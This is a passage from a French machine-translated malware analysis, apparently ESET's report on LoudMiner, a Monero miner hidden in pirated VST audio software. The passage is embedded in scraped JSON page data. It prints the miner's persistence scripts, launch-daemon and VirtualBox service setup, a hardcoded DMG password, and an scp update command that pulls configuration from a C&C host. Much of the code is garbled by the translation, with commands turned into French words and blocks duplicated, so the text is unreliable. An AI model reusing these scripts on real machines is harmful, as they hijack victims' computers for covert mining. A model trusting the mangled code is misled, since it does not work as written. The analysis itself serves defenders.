persistance.","html":"<p>T1160\nLancer le démon\nLes versions de macOS utilisent un démon de lancement pour assurer la persistance.</p>"},{"id":"text-128","type":"text","heading":"","plain_text":"Défense Evasion\nT1027\nFichiers ou informations masqués\nCertains scripts shell sont obscurcis et certains installateurs sont chiffrés dans les versions de macOS.","html":"<p>Défense Evasion\nT1027\nFichiers ou informations masqués\nCertains scripts shell sont obscurcis et certains installateurs sont chiffrés dans les versions de macOS.</p>"},{"id":"text-129","type":"text","heading":"","plain_text":"T1045\nEmballage logiciel\nUtilisez BAT2EXE pour créer un script de lot dans les versions Windows.","html":"<p>T1045\nEmballage logiciel\nUtilisez BAT2EXE pour créer un script de lot dans les versions Windows.</p>"},{"id":"text-130","type":"text","heading":"","plain_text":"T1158\nFichiers cachés et répertoires\nLe dossier d&#39;installation de VirtualBox et le répertoire contenant l&#39;image Linux sont masqués.","html":"<p>T1158\nFichiers cachés et répertoires\nLe dossier d&#039;installation de VirtualBox et le répertoire contenant l&#039;image Linux sont masqués.</p>"},{"id":"text-131","type":"text","heading":"","plain_text":"Commander et contrôler\nT1043\nPort couramment utilisé\nUtilisez les ports TCP 443 et 8080 pour la communication du pool d’extraction.","html":"<p>Commander et contrôler\nT1043\nPort couramment utilisé\nUtilisez les ports TCP 443 et 8080 pour la communication du pool d’extraction.</p>"},{"id":"text-132","type":"text","heading":"","plain_text":"T1105\nCopie de fichier à distance\nUtilisez SCP (port 22 ou 5100) pour copier des fichiers depuis / vers le serveur C &amp; C.","html":"<p>T1105\nCopie de fichier à distance\nUtilisez SCP (port 22 ou 5100) pour copier des fichiers depuis / vers le serveur C &amp; C.</p>"},{"id":"text-133","type":"text","heading":"","plain_text":"Impact\nT1496\nDétournement de ressources\nUtilisez des machines victimes pour extraire la crypto-monnaie (Monero).","html":"<p>Impact\nT1496\nDétournement de ressources\nUtilisez des machines victimes pour extraire la crypto-monnaie (Monero).</p>"},{"id":"text-134","type":"text","heading":"","plain_text":"Michal Malik et ESET Research\t\t\t\t\t\t\t\t20 juin 2019 &#8211; 11h00","html":"<p>Michal Malik et ESET Research\t\t\t\t\t\t\t\t20 juin 2019 &#8211; 11h00</p>"},{"id":"text-135","type":"text","heading":"","plain_text":"Click to rate this post!\n                                   \n                               [Total: 0  Average: 0]","html":"<p>Click to rate this post!\n                                   \n                               [Total: 0  Average: 0]</p>"}],"sections":[{"id":"text-1","heading":"Text","content":"L&#39;histoire d&#39;un mineur Linux livré avec des copies piratées du logiciel VST (Virtual Studio Technology) pour Windows et macOS"},{"id":"text-2","heading":"Text","content":"LoudMiner est un cas inhabituel de mineur persistant dans la crypto-monnaie, distribué pour macOS et Windows depuis août 2018. Il utilise un logiciel de virtualisation &#8211; QEMU sous macOS et VirtualBox sous Windows &#8211; pour exploiter la crypto-monnaie sur une machine virtuelle Tiny Core Linux, la rendant ainsi multiplateforme. Il est livré avec des copies piratées du logiciel VST. Le mineur lui-même est basé sur XMRig (Monero) et utilise un pool d’extraction, il est donc impossible de retracer les transactions potentielles.\nAu moment de la rédaction du présent document, 137 applications liées à VST (42 pour Windows et 95 pour macOS) étaient disponibles sur un seul site Web WordPress avec un domaine enregistré le 24 août 2018. La première application &#8211; Kontakt Native Instruments 5.7 pour Windows &#8211; a été téléchargé le même jour. La taille des applications rend difficile leur analyse, mais il semble raisonnable de supposer qu&#39;elles sont toutes troyens.\nLes applications elles-mêmes ne sont pas hébergées sur le site WordPress, mais sur 29 serveurs externes, disponibles dans la section IoCs. Les administrateurs du site mettent également à jour fréquemment les applications avec des versions plus récentes, ce qui rend difficile le suivi de la toute première version du mineur.\nEn ce qui concerne la nature des applications visées, il est intéressant de noter que leur objectif est lié à la production audio; ainsi, les machines sur lesquelles ils sont installés doivent avoir une bonne puissance de traitement et une consommation de processeur élevée ne surprendra pas les utilisateurs. En outre, ces applications étant généralement complexes, il n’est donc pas surprenant qu’elles soient des fichiers volumineux. Les attaquants profitent de cela pour camoufler leurs images de machine virtuelle. De plus, la décision d&#39;utiliser des machines virtuelles au lieu d&#39;une solution allégée est tout à fait remarquable et ce n&#39;est pas quelque chose que nous voyons régulièrement.\nVoici quelques exemples d&#39;applications, ainsi que des commentaires que vous pouvez trouver sur le site:"},{"id":"text-3","heading":"Text","content":"Raison Propellerhead\nAbleton Live\nSylenth1\nLien\nReaktor 6\nAutoTune"},{"id":"text-4","heading":"Text","content":"Figure 1. Commentaire n ° 1 de l’administrateur"},{"id":"text-5","heading":"Text","content":"Figure 2. Commentaire n ° 2 de l’administrateur"},{"id":"text-6","heading":"Text","content":"Nous avons trouvé plusieurs discussions de forum d&#39;utilisateurs se plaignant d&#39;un qemu-system-x86_64 processus prenant 100% de leur processeur sur leur Mac:"},{"id":"text-7","heading":"Text","content":"Figure 3. Rapport d&#39;utilisateur n ° 1 (https://discussions.apple.com/thread/250064603)"},{"id":"text-8","heading":"Text","content":"Figure 4. Rapport utilisateur n ° 2 (https://toster.ru/q/608325)"},{"id":"text-9","heading":"Text","content":"Un utilisateur nommé «Macloni» (https://discussions.apple.com/thread/8602989) a déclaré ce qui suit:\n«Malheureusement, nous avons dû réinstaller OSX. Le problème, c’était qu’Ableton Live 10, que je l’avais téléchargé depuis un site torrent et non depuis le site officiel, installait également un mineur, exécuté à l’arrière-plan, ce qui provoquait cet incident.» Le même utilisateur a joint des captures d’écran. du moniteur d&#39;activité indiquant 2 processus &#8211; qemu-system-x86_64 et outils-service &#8211; utiliser 25% des ressources du processeur et fonctionner en tant que root. ”\nL&#39;idée générale des analyses macOS et Windows reste la même:"},{"id":"text-10","heading":"Text","content":"Une application est fournie avec un logiciel de virtualisation, une image Linux et des fichiers supplémentaires utilisés pour assurer la persistance.\nL’utilisateur télécharge l’application et suit les instructions ci-jointes pour l’installer.\nLoudMiner est installé en premier, le logiciel VST après.\nLoudMiner se cache et devient persistant au redémarrage.\nLa machine virtuelle Linux est lancée et l&#39;extraction démarre.\nLes scripts à l&#39;intérieur de la machine virtuelle peuvent contacter le serveur C &amp; C pour mettre à jour le mineur (configuration et fichiers binaires)."},{"id":"text-11","heading":"Text","content":"Lors de l’analyse des différentes applications, nous avons identifié quatre versions du mineur, principalement basées sur la manière dont il est intégré au logiciel, au domaine du serveur C &amp; C, et à une chaîne de version créée par l’auteur.\nmacOS\nNous avons identifié trois versions MacOS de ce logiciel malveillant jusqu&#39;à présent. Tous comprennent les dépendances nécessaires pour exécuter QEMU dans installerdata.dmg à partir duquel tous les fichiers sont copiés sur / usr / local / bin et disposer des autorisations appropriées en cours de route. Chaque version du mineur peut exécuter deux images à la fois, chacune prenant 128 Mo de RAM et un cœur de processeur. La persistance est obtenue en ajoutant des fichiers plist dans / Bibliothèque / LaunchDaemons avec RunAtLoad mis à vrai. Ils ont aussi Rester en vie mis à true, s&#39;assurer que le processus sera redémarré s&#39;il est arrêté. Chaque version a ces composants:"},{"id":"text-12","heading":"Text","content":"Images QEMU Linux.\nScripts shell utilisés pour lancer les images QEMU.\nLes démons lançaient les scripts shell au démarrage et les maintenaient actifs.\nUn script de shell de moniteur de processeur avec un démon associé qui peut démarrer / arrêter l’extraction en fonction de l’utilisation du Moniteur d&#39;activité processus est en cours d&#39;exécution."},{"id":"text-13","heading":"Text","content":"Le script du moniteur de la CPU peut démarrer et arrêter l&#39;extraction en chargeant et en déchargeant le démon. Si la Moniteur d&#39;activité processus est en cours d&#39;exécution, l&#39;extraction s&#39;arrête. Sinon, il vérifie depuis combien de temps le système est inactif:"},{"id":"text-14","heading":"Text","content":"ioreg -c IOHIDSystem | awk &#39;/ HIDIdleTime / print $ NF / 1000000000; sortie&#39;"},{"id":"text-15","heading":"Text","content":"Ioreg &#8211;c Système IOHIDS | awk &#39;/ HIDIdleTime / print $ NF / 1000000000; sortie&#39;"},{"id":"text-16","heading":"Text","content":"Si cela fait plus de 2 minutes, l’extraction commence. Si cela fait moins de 2 minutes, il vérifie l’utilisation totale de la CPU:"},{"id":"text-17","heading":"Text","content":"ps -A -o% cpu | awk &#39;s + = $ 1 END print s&#39;"},{"id":"text-18","heading":"Text","content":"ps &#8211;UNE &#8211;o %CPU | awk &#39;s + = $ 1 END print s&#39;"},{"id":"text-19","heading":"Text","content":"divise cela par le nombre de cœurs de la CPU:"},{"id":"text-20","heading":"Text","content":"sysctl hw.logicalcpu | awk &#39;print $ 2&#39;)"},{"id":"text-21","heading":"Text","content":"sysctl hw.logiccpu |awk &#39;print $ 2&#39;)"},{"id":"text-22","heading":"Text","content":"et s&#39;il est supérieur à 85%, il arrête l&#39;extraction. Le script lui-même est un peu différent selon les versions, mais l&#39;idée générale reste la même.\nUne fois l&#39;installation terminée, tous les fichiers d&#39;installation liés à Miner sont supprimés."},{"id":"text-23","heading":"Text","content":"Figure 5. Installation de Polyverse.Music.Manipulator.v1.0.1.macOS.dmg"},{"id":"text-24","heading":"Text","content":"Figure 6. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg    instructions d&#39;installation"},{"id":"text-25","heading":"Text","content":"Version 1\nLes fichiers Miner contenus dans le package d&#39;application téléchargé ne sont aucunement masqués ni placés dans un autre package. ils sont installés à côté du logiciel aux endroits suivants:"},{"id":"text-26","heading":"Text","content":"/ Bibliothèque / Application Support / .Qemusys"},{"id":"text-27","heading":"Text","content":"qemu-system-x86_64 &#8211; binaire QEMU propre\nsys00_1-disk001.qcow2 &#8211; image Linux (première)\nqemuservice &#8211; script shell qui lance la première image via le qemu-system-x86_64 binaire (voir le script 1)"},{"id":"text-28","heading":"Text","content":"/ Bibliothèque / Application Support / .System-Monitor"},{"id":"text-29","heading":"Text","content":"system-monitor.daemon &#8211; lance la première image via moniteur système binaire"},{"id":"text-30","heading":"Text","content":"/ usr / local / bin"},{"id":"text-31","heading":"Text","content":".Outils-Service"},{"id":"text-32","heading":"Text","content":"sys00_1-disk001.qcow2 &#8211; image Linux (seconde)\ntools-service.daemon &#8211; lance la deuxième image via outils-service binaire"},{"id":"text-33","heading":"Text","content":"cpumonitor &#8211; démarre / arrête l&#39;exploration en fonction du temps d&#39;inactivité et de l&#39;utilisation du processeur\nmoniteur système &#8211; copie de qemu-system-x86_64 binaire\noutils-service &#8211; copie de qemu-system-x86_64 binaire"},{"id":"text-34","heading":"Text","content":"/ Bibliothèque / LaunchDaemons"},{"id":"text-35","heading":"Text","content":"buildtools.system-monitor.plist &#8211; lancements system-monitor.daemon\nbuildtools.tools-service.plist &#8211; lancements tools-service.daemon\nmodulesys.qemuservice.plist &#8211; lancements qemuservice\nsystools.cpumonitor.plist &#8211; lancements cpumonitor"},{"id":"text-36","heading":"Text","content":"#! / bin / bash\nfonction start\npgrep &quot;Moniteur d&#39;activité&quot;\nsi [ $? -eq 0 ]; puis\nlaunchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist\nautre\n/ usr / local / bin / qemu-system-x86_64 -M accel = hvf &#8211; hôte cpu / Bibliothèque / Application  Support / .Qemusys / sys00_1-disk001.qcow2 -display aucun\nFi\ndébut;"},{"id":"text-37","heading":"Text","content":"#! / bin / bash\nune fonction début \npgrep &quot;Moniteur d&#39;activité&quot;\nsi [[[[ $? &#8211;eq 0 ]; puis\nlaunchctl décharger &#8211;w /Bibliothèque/LaunchDaemons/com.modulesys.qemuservice.plist\nautre\n/usr/local/poubelle/qemu&#8211;système&#8211;x86_64 &#8211;M accel=hvf &#8211;CPU hôte /Bibliothèque/Application Soutien/.Qemusys/sys00_1&#8211;disk001.qcow2 &#8211;afficher aucun\nFi"},{"id":"text-38","heading":"Text","content":"début;"},{"id":"text-39","heading":"Text","content":"Script 1. qemuservice script shell\nUne fois les dépendances copiées, tous les démons liés aux mineurs sont lancés, puis le logiciel proprement dit est installé:"},{"id":"text-40","heading":"Text","content":"qemuservice ne lancera pas l&#39;image si le Moniteur d&#39;activité processus est en cours d&#39;exécution. En fait, s&#39;il fonctionne, il déchargera le plist par lequel il a été lancé.\ntools-service.daemon lancera l&#39;image uniquement lorsque qemu-system-x86_64 processus ne fonctionne pas et après avoir dormi pendant 45 minutes.\nSystem-monitor.daemon lancera l&#39;image uniquement si le processeur Intel i5, i7 ou i9 est détecté."},{"id":"text-41","heading":"Text","content":"Ces scripts utilisent la même commande pour lancer l&#39;image QEMU, seuls les noms et le chemin de l&#39;image diffèrent.\nNous avons trouvé la capture d&#39;écran suivante liée à la version 1 du mineur:"},{"id":"text-42","heading":"Text","content":"Figure 7. Consommation d&#39;UC de QEMU avec Little Snitch (source: https://imgur.com/a/sc3u6kk)"},{"id":"text-43","heading":"Text","content":"C’est de Little Snitch qui indique que certaines connexions du processus qemu-system-x86_64 ont été bloqués. Plus précisément, hopto[.]org (un service de nom d’hôte gratuit) est un C &amp; C utilisé par la version 1 du mineur.\nVersion 2\nLes fichiers Miner sont en data_installer.pkg à l&#39;intérieur du package d&#39;application téléchargé. data_installer.pkg est installé en premier, puis le logiciel VST. Avant l&#39;installation, la version 1 du mineur est supprimée lors de l&#39;exécution de la commande:"},{"id":"text-44","heading":"Text","content":"Comme indiqué dans la liste du script 2, il ne le fait que lorsqu&#39;il détecte un qemu-system-x86_64 processus."},{"id":"text-45","heading":"Text","content":"#! / bin / bash\n#Clear Old\nfonction clear\nLGC = `ps aux\nclair;"},{"id":"text-46","heading":"Text","content":"1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22"},{"id":"text-47","heading":"Text","content":"#! / bin / bash\n#Clear Old\nune fonction clair \nLGC=`ps aux \nclair;"},{"id":"text-48","heading":"Text","content":"Script 2 data_installer.pkg script de préinstallation qui supprime la version 1\nLes fichiers temporaires suivants sont créés:"},{"id":"text-49","heading":"Text","content":"/ Utilisateurs / Partagé"},{"id":"text-50","heading":"Text","content":"z1 &#8211; binaire QEMU\nz1.daemon &#8211; lance l&#39;image QEMU avec le binaire QEMU\nz1.qcow2 &#8211; image QEMU\nz1.plist &#8211; lancements z1.daemon\nz3 &#8211; Script de moniteur de processeur, peu de changement par rapport à la version 1 cpumonitor\nz3.plist &#8211; utilisé pour lancer z3\nrandwd &#8211; génère des noms aléatoires"},{"id":"text-51","heading":"Text","content":"Une fois les dépendances copiées, le mineur est installé. Cette fois, les noms des fichiers binaires, des listes de plists et des répertoires QEMU sont randomisés avec randwd scénario. L’installation de mineur crée deux copies de z1, z1.daemon, z1.qcow2 et z1.plist. Voici ce qui se passe pour chaque copie:"},{"id":"text-52","heading":"Text","content":"Un répertoire avec un nom aléatoire est créé dans / Bibliothèque / Support d&#39;application\nLe binaire QEMU z1 porte le même nom que le répertoire et est copié dans / usr / local / bin\nz1.daemon (voir liste dans le script 3) et z1.qcow2 sont copiés dans ce répertoire sous leurs noms aléatoires\nz1.plist est copié avec le nom com..pliste dans / Bibliothèque / LaunchDaemons"},{"id":"text-53","heading":"Text","content":"z1.daemon, z1.plist, z3 et z3.plist les fichiers servent de modèles. Les références à d&#39;autres scripts, fichiers binaires, plists, etc. de ces fichiers sont remplacées par le nom aléatoire généré correspondant.\nUn nom aléatoire est également choisi pour le moniteur de la CPU (z3) shell script et son fichier de plist associé. z3 est copié dans / usr / local / bin et le plist dans / Bibliothèque / LaunchDaemons sous le nom com..pliste."},{"id":"text-54","heading":"Text","content":"#! / bin / bash\nfonction start\npgrep &quot;Moniteur d&#39;activité&quot;\nsi [ $? -eq 0 ]; puis\nlaunchctl unload -w /Library/LaunchDaemons/com.AAAA.plist\nautre\n/ usr / local / bin / BBBB -M accel = hvf &#8211; hôte cpu / Bibliothèque / Application  Support / CCCC / DDDD &#8211; affichage aucun\nFi\ndébut;"},{"id":"text-55","heading":"Text","content":"#! / bin / bash\nune fonction début \npgrep &quot;Moniteur d&#39;activité&quot;\nsi [[[[ $? &#8211;eq 0 ]; puis\nlaunchctl décharger &#8211;w /Bibliothèque/LaunchDaemons/com.AAAA.plist\nautre\n/usr/local/poubelle/BBBB &#8211;M accel=hvf &#8211;CPU hôte /Bibliothèque/Application Soutien/CCCC/DDDD &#8211;afficher aucun\nFi"},{"id":"text-56","heading":"Text","content":"début;"},{"id":"text-57","heading":"Text","content":"Script 3. z1.daemon script shell\nLa version 2 est un peu plus propre et / ou plus simple que la version 1. Il n&#39;y a qu&#39;une seule image QEMU, avec deux copies réalisées; même chose pour les scripts de lancement d’image, les démons et le cpumonitor. Même si la version 2 randomise ses noms de fichiers et ses répertoires, elle ne peut être installée qu&#39;une seule fois car l&#39;installation vérifie les processus en cours d&#39;exécution avec accel = hvf dans leur ligne de commande.\nDepuis les applications de la version 2 que nous avons vérifiées jusqu’à présent, le hachage SHA1 du data_installer.pkg est toujours 39a7e86368f0e68a86cce975fd9d8c254a86ed93.\nVersion 3\nLes fichiers de mineur sont dans un fichier DMG crypté, appelé do.dmg, à l&#39;intérieur du package d&#39;application. Le DMG est monté avec la commande suivante:"},{"id":"text-58","heading":"Text","content":"printf &#39;% s  0&#39; &#39;VeryEasyPass123!&#39; | hdiutil attachez -noverify /Users/Shared/instapack/do.dmg -stdinpass."},{"id":"text-59","heading":"Text","content":"printf &#39;% s  0&#39; &#39;VeryEasyPass123!&#39; | hdiutil attacher &#8211;noverify /Utilisateurs/partagé/instapack/faire.Dmg &#8211;stdinpass."},{"id":"text-60","heading":"Text","content":"Le mineur DMG contient un seul paquet: datainstallero.pkg. Ceci et le progiciel sont ensuite installés.\nLe contenu de l&#39;emballage de datainstallero.pkg et data_installer.pkg à partir de la version 2 sont plus ou moins les mêmes, mais datainstallero.pkg ajoute deux scripts obscurcis &#8211; clearpacko.sh et installpacko.sh &#8211; et obscurcit un script existant &#8211; randwd:"},{"id":"text-61","heading":"Text","content":"clearpacko.sh supprime la version 1 du mineur comme la version 2.\ninstallpacko.sh installe le mineur de la même manière que la version 2, sauf que les commentaires ont été supprimés du script."},{"id":"text-62","heading":"Text","content":"Le SHA1 du do.dmg reste le même: b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9.\nLancer l&#39;image Linux\nToutes les versions utilisent plusieurs scripts de shell pour lancer les images. Les scripts shell sont exécutés par les plists au démarrage et sont maintenus en vie."},{"id":"text-63","heading":"Text","content":"La version 1 exécute les fichiers binaires suivants (copies de qemu-system-x86_64) pour lancer les images QEMU: qemu-system-x86_64, moniteur système, outils-service.\nLes versions 2 et 3 utilisent la même commande, mais le nom du fichier binaire, répertoire dans Support d&#39;application et le nom de fichier QEMU est aléatoire."},{"id":"text-64","heading":"Text","content":"Toutes les versions utilisent les commutateurs suivants:"},{"id":"text-65","heading":"Text","content":"-M accel = hvf utiliser le framework Hypervisor comme accélérateur. HVF a été introduit avec OS X 10.10 et un support pour HVF a été ajouté dans QEMU 2.12, qui a été publié en avril 2018.\n-display aucun de sorte que la machine virtuelle s&#39;exécute sans interface graphique."},{"id":"text-66","heading":"Text","content":"Étant donné que l&#39;image est lancée sans spécifier la quantité de RAM et le nombre de cœurs de la CPU, les valeurs par défaut sont utilisées: 1 cœur de la CPU et 128 Mo de RAM. Toutes les versions peuvent lancer 2 images.\nWindows (version 4)\nÀ partir des chaînes que nous avons extraites de l&#39;application, nous définissons la seule version de Windows vue jusqu&#39;à présent, la version 4. Comme nous l&#39;avons mentionné précédemment, la logique est assez similaire à la version macOS. Chaque application Windows est présentée sous la forme d’un programme d’installation MSI qui installe à la fois l’application «fissurée» et la figure 8 illustre la zone de confiance pour l’installation du pilote VirtualBox lors de l’exécution d’un programme d’installation VST «fissuré» à partir de vstcrack.[.]com."},{"id":"text-67","heading":"Text","content":"Figure 8. Fenêtre contextuelle de confiance pour un pilote VirtualBox lors de l&#39;installation d&#39;une application à partir de vstcrack[.]com"},{"id":"text-68","heading":"Text","content":"VirtualBox est installé dans son nom de dossier habituel (C:  Program Files  Oracle) cependant, les attributs du répertoire sont réglés sur «masqué». Le programme d’installation copie ensuite l’image Linux et VBoxVmService (un service Windows utilisé pour exécuter une machine virtuelle VirtualBox en tant que service) dans C:  vms, qui est aussi un répertoire caché. Une fois l’installation terminée, le programme d’installation exécute un script de traitement par lots compilé avec BAT2EXE (voir la liste des packages décompressés dans le script 4) pour importer l’image Linux et exécuter VmServiceControl.exe pour démarrer la machine virtuelle en tant que service."},{"id":"text-69","heading":"Text","content":"@Écho off\nsetlocal EnableExtensions EnableDelayedExpansion\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; dossier machine de la propriété &quot;% userprofile%  appdata  roaming&quot;\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; import &quot;c:  vms  tmp  sys00_1.ova&quot;\nxcopy / Y &quot;C:  Windows  System32  Config  systemprofile  .VirtualBox&quot; &quot;C:  vms  .VirtualBox &quot;\n&quot;C:  vms  VmServiceControl.exe&quot; -i\ndel / F &quot;c:  vms  tmp  sys00_1.ova&quot;"},{"id":"text-70","heading":"Text","content":"@écho de\nsetlocal EnableExtensions EnableDelayedExpansion\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; set property dossier machine &quot;% userprofile%  appdata  roaming&quot;\n&quot;c:  Program Files  Oracle  VirtualBox  vboxmanage.exe&quot; importation &quot;c:  vms  tmp  sys00_1.ova&quot;\nxcopy /Y &quot;C:  Windows  System32  Config  systemprofile  .VirtualBox&quot; &quot;C:  vms  .VirtualBox &quot;\n&quot;C:vmsVmServiceControl.EXE&quot; -je\ndel / F &quot;c:vmstmpsys00_1.ovules&quot;"},{"id":"text-71","heading":"Text","content":"Script 4. Script batch utilisé pour exécuter la machine virtuelle Linux en tant que service\nCette méthode est utilisée pour assurer la persistance du mineur après le redémarrage. En effet, VboxVmService est livré avec un fichier de configuration (voir Script 5) dans lequel il est possible d&#39;activer le AutoStart option pour que la machine virtuelle soit automatiquement lancée au démarrage."},{"id":"text-72","heading":"Text","content":"[Settings]\nVBOX_USER_HOME = C:  vms  .VirtualBox\nRunWebService = no\nPauseShutdown = 5000\n[Vm0]\nVmName = sys00_1\nShutdownMethod = acpipowerbutton\nAutoStart = oui"},{"id":"text-73","heading":"Text","content":"[[[[Réglages]\nVBOX_USER_HOME=C:vms.VirtualBox\nRunWebService=non\nPauseArrêt=5000\n[[[[Vm0]\nVmName=sys00_1\nMéthode d&#39;arrêt=acpipowerbutton\nAutoStart=Oui"},{"id":"text-74","heading":"Text","content":"Script 5. Fichier de configuration pour VBoxVmService avec AutoStart activée\nLe fichier OVF inclus dans l&#39;image Linux décrit la configuration matérielle de la machine virtuelle (voir Script 6): elle utilise 1 Go de RAM et 2 cœurs de processeur (avec une utilisation maximale de 90%)."},{"id":"text-75","heading":"Text","content":"&lt;Matériel&gt;\n&lt;CPU compter=&quot;2&quot; exécutionCap=&quot;90&quot;&gt;\n&lt;PAE activée=&quot;vrai&quot;/&gt;\n&lt;LongMode activée=&quot;vrai&quot;/&gt;\n&lt;X2APIC activée=&quot;vrai&quot;/&gt;\n&lt;MatérielVirtExLargePages activée=&quot;vrai&quot;/&gt;\n&lt;/CPU&gt;\n&lt;Mémoire RAMSize=&quot;1024&quot;/&gt;"},{"id":"text-76","heading":"Text","content":"Script 6. Configuration matérielle de l&#39;image Linux\nImage de Linux\nL&#39;image Linux est Tiny Core Linux 9.0 configuré pour exécuter XMRig, ainsi que certains fichiers et scripts pour maintenir le mineur à jour en permanence. Les fichiers les plus intéressants sont:"},{"id":"text-77","heading":"Text","content":"/root/.ssh/id_rsa, id_rsa.pub &#8211; la clé de paire SSH utilisée pour mettre à jour le mineur à partir du serveur C &amp; C à l&#39;aide de SCP.\n/opt/bootsync.sh, bootlocal.sh &#8211; les commandes de démarrage du système qui tentent de mettre à jour le mineur à partir du serveur C &amp; C et de l&#39;exécuter (voir Scripts 7 et 8):"},{"id":"text-78","heading":"Text","content":"/ usr / bin / sethostname box\n/opt/bootlocal.sh 2&gt; &amp; 1&gt; / dev / null &amp;\necho &quot;booting&quot;&gt; / etc / sysconfig / noautologin"},{"id":"text-79","heading":"Text","content":"/usr/poubelle/sethostname boîte\n/opter/bootlocal.sh 2&gt;Et1 &gt; /dev/nul Et\nécho &quot;démarrage&quot; &gt; /etc/sysconfig/noautologin"},{"id":"text-80","heading":"Text","content":"Script 7. bootsync.sh"},{"id":"text-81","heading":"Text","content":"/ mnt / sda1 / tools / bin / idgenerator 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / xmrig_update 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / ccommand_update 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / ccommand 2&gt; &amp; 1&gt; / dev / null\n/ mnt / sda1 / tools / bin / xmrig"},{"id":"text-82","heading":"Text","content":"/mnt/sda1/outils/poubelle/générateur d&#39;énergie 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/xmrig_mettre à jour 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/commande_mettre à jour 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/commande 2&gt;Et1 &gt; /dev/nul\n/mnt/sda1/outils/poubelle/xmrig"},{"id":"text-83","heading":"Text","content":"Script 8. bootlocal.sh"},{"id":"text-84","heading":"Text","content":"/ mnt / sda1 / tools / bin &#8211; les fichiers principaux et les scripts utilisés pour mettre à jour et exécuter le mineur.\n/ mnt / sda1 / tools / xmrig &#8211; contient le code source de XMRig (à partir du référentiel GitHub)."},{"id":"text-85","heading":"Text","content":"La configuration du mineur est stockée dans /mnt/sda1/tools/bin/config.json et contient principalement le nom de domaine et le port utilisé pour le pool d’extraction, qui peuvent varier en fonction de la version (voir des exemples dans la section IoC).\nLe mécanisme de mise à jour est effectué via SCP (Secure File Copy) par trois scripts différents:"},{"id":"text-86","heading":"Text","content":"xmrig_update &#8211; met à jour la configuration du mineur (config.json)\ncommande &#8211; mises à jour ccommand_update, xmrig_update (voir le script 9), updater.sh, xmrig;\nccommand_update &#8211; mises à jour commande;"},{"id":"text-87","heading":"Text","content":"D&#39;après ce que nous avons vu, la configuration du mineur est mise à jour une fois par jour."},{"id":"text-88","heading":"Text","content":"#! / bin / sh\nping -w 40 127.0.0.1\ncd / mnt / sda1 / tools / bin / &amp; scp -P 5100 -C -o StrictHostKeyChecking = no -o UserKnownHostsFile = / dev / null x01@system-update.is: ctrl / cowboinvox`date +% Y% m% d `config.json.new &amp;&amp; mv config.json config.json.bkp &amp;&amp; mv config.json.new config.json"},{"id":"text-89","heading":"Text","content":"#! / bin / sh\nping &#8211;w 40 127.0.0.1\nCD /mnt/sda1/outils/poubelle/ &amp;&amp; scp &#8211;P 5100 &#8211;C &#8211;o StrictHostKeyChecking=non &#8211;o UserKnownHostsFile=/dev/nul x01@système&#8211;mettre à jour.est:ctrl/cowboinvox`rendez-vous amoureux +%Y%m%ré` config.JSON.Nouveau &amp;&amp; mv config.JSON config.JSON.bkp &amp;&amp; mv config.JSON.Nouveau config.JSON"},{"id":"text-90","heading":"Text","content":"Script 9. xmrig_update\nAfin d’identifier une session d’extraction particulière, un fichier contenant l’adresse IP de la machine et la date du jour est créé par le générateur d&#39;énergie Le script et sa sortie sont envoyés au serveur C &amp; C par le updater.sh scénario.\nÉvidemment, le meilleur conseil à se protéger contre ce type de menace est de ne pas télécharger des copies piratées de logiciels commerciaux. Toutefois, il existe des astuces qui peuvent vous aider à identifier le moment où une application contient du code indésirable:"},{"id":"text-91","heading":"Text","content":"Confiance provenant d’un programme d’installation «supplémentaire» inattendu (dans ce cas, la carte réseau Oracle).\nConsommation de processeur élevée par un processus que vous n&#39;avez pas installé (QEMU ou VirtualBox dans ce cas).\nUn nouveau service ajouté à la liste des services de démarrage (Windows) ou un nouveau démon de lancement (macOS).\nConnexions réseau à des noms de domaine curieux (tels que system-update[.]info ou vérification du système[.]services ici)."},{"id":"text-92","heading":"Text","content":"Des hachis\napplications «fissurées» macOS (versions 1 à 3)"},{"id":"text-93","heading":"Text","content":"SHA-1\nNom de fichier\nNom de détection ESET\nNuméro de version"},{"id":"text-94","heading":"Text","content":"71030028c4e1b844c85138bd77ddea96a190ec2c\nVirtual_DJ_8_Pro_Infinity_macOS.pkg\nOSX / LoudMiner.A\n1"},{"id":"text-95","heading":"Text","content":"32c80edcec4f7bb3b494e8949c6f2014b7f5db65\nNative Instruments Massive Installer.pkg\nOSX / LoudMiner.A\n1"},{"id":"text-96","heading":"Text","content":"7dc9f8ca07cd8e0247cf15cd8d2da2190a02fc90\nMassive_v1.5.5_Installer_macOS.dmg\nOSX / LoudMiner.B\n2"},{"id":"text-97","heading":"Text","content":"0b40bd0754637d5be2ada760ff0ecfda7afe03d7\nNative_Instruments_Effects_Series_Mod_Pack.dmg\nOSX / LoudMiner.B\n2"},{"id":"text-98","heading":"Text","content":"88efc767a32299e922f1b41f82c8d584585e2161\nSpectrasonics_Omnisphere_2.5_OSx.dmg\nOSX / LoudMiner.C\n3"},{"id":"text-99","heading":"Text","content":"e9c9d17d006fb03d67b736c0826df0af8ca6d5fd\nLennar_Digital_Sylenth1_2.2.1.dmg\nOSX / LoudMiner.C\n3"},{"id":"text-100","heading":"Text","content":"Applications «fissurées» de Windows (version 4)"},{"id":"text-101","heading":"Text","content":"SHA-1\nNom de fichier\nNom de détection ESET"},{"id":"text-102","heading":"Text","content":"23faacfc23cfef65504d7fa20854030b96a9df91\nAbleton.Live.Suite.10.0.6.Multilingual.x64.WIN.zip\nWin32 / LoudMiner.A"},{"id":"text-103","heading":"Text","content":"5a8682eae69b2e11d45980941a972bd734630207\nInfected-Mushroom-Manipulator-V1.0.3.zip\nWin32 / LoudMiner.A"},{"id":"text-104","heading":"Text","content":"60a8f1d4a028153271093e815e8267bd25fde852\nSonic_Academy_ANA_2.0.3_x86_x64.msi\nWin32 / 